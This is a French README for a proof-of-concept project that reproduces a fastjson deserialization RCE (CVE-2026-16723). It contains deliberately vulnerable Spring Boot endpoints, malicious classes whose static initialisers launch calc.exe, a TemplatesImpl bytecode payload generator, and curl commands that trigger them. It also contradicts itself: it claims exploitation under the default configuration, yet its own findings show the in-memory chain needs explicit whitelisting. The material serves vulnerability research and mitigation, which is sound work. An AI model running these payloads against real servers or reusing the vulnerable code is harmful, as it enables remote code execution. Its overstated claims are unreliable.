
Projet de reproduction pour CVE-2026-16723, une RCE critique dans fastjson 1.2.68-1.2.83. Démontre le contournement d'AutoType, l'injection JNDI et les payloads en mémoire TemplatesImpl avec des endpoints Spring Boot vulnérables.
Ce projet reproduit CVE-2026-16723 — une vulnérabilité critique d'exécution de code à distance (RCE) dans fastjson 1.2.68 à 1.2.83. La vulnérabilité permet une RCE avec la configuration par défaut, sans nécessiter l'activation d'AutoType ni de gadgets préexistants sur le classpath.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2026-16723 |
| Composant | fastjson |
| Versions affectées | 1.2.68 – 1.2.83 |
| Versions corrigées | 1.2.84+, 2.0.0+ |
| Type de vulnérabilité | Désérialisation / RCE |
| Sévérité | CVSS 3.1 : 9.0 (CRITIQUE) |
| Vecteur d'attaque | Réseau |
| Complexité | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
fastjson-cve-2026-16723/
├── pom.xml # Projet principal (application Spring Boot avec fastjson vulnérable)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Point d'entrée Spring Boot
│ └── controller/
│ └── VulnerableController.java # Points de terminaison REST vulnérables
├── malicious/ # Module séparé : JAR malveillant pour simulation de chaîne d'approvisionnement
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Classe malveillante avec initialiseur statique
│ ├── EvilTranslet.java # Translet malveillant pour le mode mémoire de TemplatesImpl
│ └── GenTemplatesPayload.java # Génère la charge utile JSON TemplatesImpl
├── templates-payload.json # Charge utile TemplatesImpl générée (variante directe)
├── templates-payload-preload.json # Charge utile TemplatesImpl générée (variante préchargement de classe)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contient un contournement du mécanisme de protection AutoType. Même avec la configuration par défaut (autoTypeSupport=false), les attaquants peuvent instancier des classes arbitraires via des charges utiles JSON spécialement conçues en utilisant des chaînes d'exploitation telles que :
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (injection JNDI)java.lang.Runtime (exécution directe de commandes)@type : exploit.MaliciousClass)VulnerableController.java — deux points de terminaison démontrent le problème :
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnérable : JSON.parseObject avec configuration par défaut
// Aucun ParserConfig.getGlobalInstance().setAutoTypeSupport(true) requis !
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Force la désérialisation en Object — déclenche l'instanciation réelle de la classe
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Construire l'application principale
mvn clean package -DskipTests
# Construire le JAR malveillant (module séparé)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR Spring Boot completmalicious/target/malicious-jar-1.0.jar — JAR malveillant avec exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Le serveur démarre sur http://localhost:8080
Exigence d'exécution : ce projet cible Java 8 et le mode mémoire de TemplatesImpl est vérifié sur JDK 8. Sur JDK 9+, le système de modules bloque l'accès réflexif aux internes de
java.xml, donc la chaîne échoue avecError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplà moins d'ajouter les options--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Le pom.xml principal déclare le JAR malveillant comme dépendance, il est donc inclus dans le JAR complet :
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Vérification à l'exécution :
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Résultat attendu : CVE-2026-16723 Reproduction Endpoint Ready...
Le module malicious fournit exploit.MaliciousClass avec un initialiseur statique qui exécute calc.exe au chargement de la classe.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Résultat :
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
Et calc.exe se lance sur le serveur.
Remarque : Cela démontre un scénario de chaîne d'approvisionnement où une dépendance malveillante est présente sur le classpath. La vulnérabilité permet l'instanciation de toute classe présente sur le classpath, pas seulement les classes JDK.
Contrairement au mode chaîne d'approvisionnement (qui nécessite la classe malveillante sur le classpath) et au mode JNDI (qui nécessite un serveur LDAP/RMI), ce mode intègre le bytecode malveillant directement dans la charge utile et le charge depuis la mémoire via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — rien d'autre ne doit être déployé.
Étape 1 — générer la charge utile :
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Ceci compile exploit.EvilTranslet (une sous-classe d'AbstractTranslet dont l'initialiseur statique exécute calc.exe), encode en base64 ses octets .class, et écrit :
templates-payload.json — variante directe ("@type": "TemplatesImpl")templates-payload-preload.json — variante préchargement java.lang.ClassÉtape 2 — déclencher la charge utile :
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Résultat :
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
Et calc.exe se lance sur le serveur.
⚠️ Constatations empiriques (vérifiées avec fastjson 1.2.83) : la chaîne TemplatesImpl n'est pas déclenchable avec une configuration purement par défaut :
- La charge utile directe
@typeest rejetée par la denyList AutoType (autoType is not support).- La chaîne de préchargement
java.lang.Classéchoue pour deux raisons :java.lang.Classlui-même est sur la denyList (autoType is not support. java.lang.Class), et même le préchargement deTemplatesImpldans les mappages de classes internes ne contourne pas la denyList — le contournement de mappage de l'ère 1.2.47 est corrigé dans 1.2.83.autoTypeSupport(true)seul ne suffit pas non plus : la denyList a priorité sur le drapeau autoType.- La chaîne ne se déclenche que lorsque la classe est mise sur liste blanche via
ParserConfig.addAccept(...)(la acceptList a priorité sur la denyList) et queFeature.SupportNonPublicFieldest activé (les champs_bytecodes/_name/_tfactoryde TemplatesImpl sont privés).- Le point de terminaison
/api/deserialize-autotypeimplémente exactement cette combinaison.- Exécution : la chaîne est vérifiée sur JDK 8. Sur JDK 9+, le système de modules bloque l'accès réflexif aux internes de
java.xml, donc la création d'instance échoue avecError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplà moins d'utiliser les options JVM de la section Exécution de l'application.
| Point de terminaison | Comportement |
|---|---|
POST /api/parse | Analyse en JSONObject — peut ne pas déclencher la désérialisation complète pour toutes les charges utiles |
POST /api/deserialize | Analyse en Object — force la désérialisation complète et l'instanciation de classe (configuration par défaut) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — écrit les champs privés, mais la denyList bloque toujours TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — déclenche la chaîne en mémoire TemplatesImpl |
Pour l'exploitation de la classe malveillante, /api/deserialize est requis pour déclencher l'initialiseur statique.
Mettez à niveau fastjson vers une version corrigée :
<!-- Option 1 : fastjson 1.x (recommandé pour les utilisateurs de 1.x) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Option 2 : fastjson 2.x (recommandé pour les nouveaux projets) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// Désactiver AutoType globalement (atténuation partielle — les chaînes d'exploitation peuvent toujours contourner)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Ou utiliser le mode sécurisé (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
Ce projet est destiné uniquement à la recherche en sécurité à des fins éducatives et défensives.
- Ne l'utilisez pas contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
- L'auteur n'est pas responsable de toute utilisation abusive, de tout dommage ou de toute conséquence juridique découlant de l'utilisation de ce code.
- Suivez toujours les pratiques de divulgation responsable lors de la découverte de vulnérabilités.
- Cette reproduction utilise une charge utile bénigne (
calc.exe) à des fins de démonstration ; les exploits réels peuvent causer des dommages graves.
Ce projet est fourni tel quel pour la recherche en sécurité. Aucune garantie expresse ou implicite.